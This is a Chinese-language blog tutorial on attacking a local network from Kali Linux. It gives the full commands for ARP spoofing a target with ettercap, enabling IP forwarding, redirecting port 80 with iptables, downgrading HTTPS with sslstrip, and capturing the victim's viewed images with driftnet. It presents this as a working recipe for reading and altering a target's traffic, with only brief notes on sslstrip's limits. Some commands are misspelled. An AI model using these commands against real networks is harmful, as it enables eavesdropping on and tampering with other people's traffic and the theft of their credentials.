环境准备:kali系统

  因为kali系统自带ettercap,比较方便, 不需要安装

  ifcofing命令查看当前网关 ,当前的IP是: 172.16.42.1

ettercap的中间人欺骗+sslstrip过滤掉https协议_数据

  查找局域网所有主机

  通过netdiscover获取到当前目标IP:172.16.42.131  

ettercap的中间人欺骗+sslstrip过滤掉https协议_IP_02

  启动ettercap 

  启动ettercap , wlan0为网卡端口, -T为文字显示, -M art:remote为双向arp欺骗, /172.16.42.131//为攻击的目标机器IP , /172.16.42.1//为网关地址(注, 在不同系统和不同的ettercap版本中, 参数可能不一样, 具体要看你的环境和ettercap版本)

ettercap -i wlan0 -T -M arp:remote /172.16.42.131// /172.16.42.1//

ettercap的中间人欺骗+sslstrip过滤掉https协议_数据_03

  过滤https协议成http

  重新打开一个命令行窗口,分别执行下面三个命令行,

  echo 1 > /proc/sys/net/ipv4/ip_forward   开启数据重定向

  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000  开启80端口的数据转发到10000端口  

  sslstrip -l 10000  执行sslstrip欺骗,把网页中的https协议转换为http协议

echo 1 > /proc/sys/net/ipv4/ip_forward 
iptalbes -t nat -F //清除类型为nat的iptables
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -l 10000
iptables -t nat -L //查看iptables列表是否生效

ettercap的中间人欺骗+sslstrip过滤掉https协议_IP_04

  当用户浏览的网页中包含https协议,会被转化为http协议的请求

  但是sslstrip也不是万能的, 假如网页中没有https, 但是js代码绑定了跳转到https的协议请求的事件, , 那么sslstrip就失效了

  如果用户打开网页的时候请求就是https, 会导致证书认证失败, 网页一直打不开

  获取所有的图片信息

  执行arp欺骗以后, 目标机器所有的流量都会走我们的主机, 通过监听wlan0网卡, 我们可以获取和篡改目标机器的所有http请求数据和内容

  启动driftnet监听wlan0端口, 查看所有的浏览图片数据, 所有的浏览图片,尽收眼底:

driftnet -i wlan0

ettercap的中间人欺骗+sslstrip过滤掉https协议_命令行_05

 

ettercap的中间人欺骗+sslstrip过滤掉https协议_命令行_06

作者: ​​NONO​​ 

开源博客:​​http://www.github.com/sqqihao​